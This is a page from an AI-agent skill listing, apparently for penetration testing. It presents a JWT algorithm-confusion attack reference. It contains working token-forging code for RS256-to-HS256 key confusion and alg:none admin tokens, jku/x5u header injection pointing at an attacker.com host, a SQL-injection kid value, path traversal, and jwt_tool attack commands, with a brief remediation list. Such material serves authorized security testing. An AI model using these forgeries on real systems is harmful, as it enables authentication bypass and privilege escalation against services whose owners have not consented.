Skip to content

SSZcreate/Pentab_server / .agents/skills/cybersecurity/skills/exploiting-jwt-algorithm-confusion-attack

exploiting-jwt-algorithm-confusion-attack

Verified

Exploits JWT algorithm confusion where the server's verification library trusts the alg named in the token header, by switching RS256 to HS256 (signing with the RSA public key as HMAC secret), setting alg to none, or injecting kid/jku/x5u headers to supply an attacker-controlled key. Use when testing RS256 JWT auth for algorithm downgrade, alg:none bypass, or key-confusion signature forgery.

FileKindSize
LICENSEother11.0 KB
SKILL.mdskill md18.4 KB
references/api-reference.mdmarkdown2.4 KB
scripts/agent.pyscript4.9 KB

references/api-reference.md

View on GitHub
# API Reference: JWT Algorithm Confusion Attack

## JWT Structure

### Three parts (dot-separated, Base64URL-encoded)
```
<header>.<payload>.<signature>
```

### Header
```json
{"alg": "RS256", "typ": "JWT"}
```

### Common Algorithms
| Algorithm | Type | Key |
|-----------|------|-----|
| HS256 | HMAC | Symmetric shared secret |
| RS256 | RSA | Asymmetric key pair |
| ES256 | ECDSA | Asymmetric key pair |
| none | None | No signature |

## Algorithm Confusion Attack

### Attack Flow
1. Server uses RS256 (asymmetric) with public/private key pair
2. Attacker obtains server's RSA public key
3. Attacker changes `alg` header from RS256 to HS256
4. Attacker signs token with the RSA public key as HMAC secret
5. Server verifies with public key using HMAC (accepts token)

### Forging with Public Key
```python
import hmac, hashlib, base64, json

header = base64url(json.dumps({"alg": "HS256", "typ": "JWT"}))
payload = base64url(json.dumps({"sub": "admin"}))
signature = hmac.new(public_key_bytes, f"{header}.{payload}", hashlib.sha256)
token = f"{header}.{payload}.{base64url(signature)}"
```

## None Algorithm Attack

### Forged Token
```python
header = base64url('{"alg":"none","typ":"JWT"}')
payload = base64url('{"sub":"admin","admin":true}')
token = f"{header}.{payload}."
```

## JWT Header Injection Attacks

### JKU (JSON Web Key Set URL)
```json
{"alg": "RS256", "jku": "https://attacker.com/.well-known/jwks.json"}
```

### X5U (X.509 URL)
```json
{"alg": "RS256", "x5u": "https://attacker.com/cert.pem"}
```

### KID (Key ID) — SQL Injection
```json
{"alg": "HS256", "kid": "key1' UNION SELECT 'secret'--"}
```

### KID — Path Traversal
```json
{"alg": "HS256", "kid": "../../dev/null"}
```

## Python PyJWT Library

### Decode without verification
```python
import jwt
decoded = jwt.decode(token, options={"verify_signature": False})
```

### Verify with algorithm restriction
```python
decoded = jwt.decode(token, public_key, algorithms=["RS256"])
```

## jwt_tool — JWT Testing Tool

### Scan for vulnerabilities
```bash
python3 jwt_tool.py <token> -M at    # All tests
python3 jwt_tool.py <token> -X a     # alg:none attack
python3 jwt_tool.py <token> -X k -pk public.pem  # Key confusion
```

## Remediation
1. Always specify allowed algorithms: `algorithms=["RS256"]`
2. Never accept `alg: none`
3. Use separate verification logic for symmetric vs asymmetric
4. Validate JKU/X5U against allowlist
rea-analysis-optimizationmorluto/reaOptimize REA providers and shared analysis workflows for agent context, latency, CPU, and memory while preserving correctness and Evidence. Use for analysis bottlenecks and cache or query design; CI/test-suite optimization belongs to rea-ci-tests-audit.Stars: 465kUpdated Claude CodeCodexVerifiedInstall
rea-ci-tests-auditmorluto/reaAudit REA CI and test suites for correctness, fixture drift, false passes, and measured performance; use for suite or workflow investigations and efficiency changes, rather than ordinary feature testing or a single test failure.Stars: 465kUpdated Claude CodeCodexVerifiedInstall
rea-tool-designmorluto/reaAudit, investigate, design, or change REA investigation tools, CLI/MCP contracts, provider capabilities, and Evidence semantics.Stars: 465kUpdated Claude CodeCodexVerifiedInstall
ponytail-auditDietrichGebert/ponytailQuality audit of the whole repo: bugs, security, real load, missing tests, speed, and what to delete. Most important first.Stars: 192kUpdated Claude CodeCodexVerifiedInstall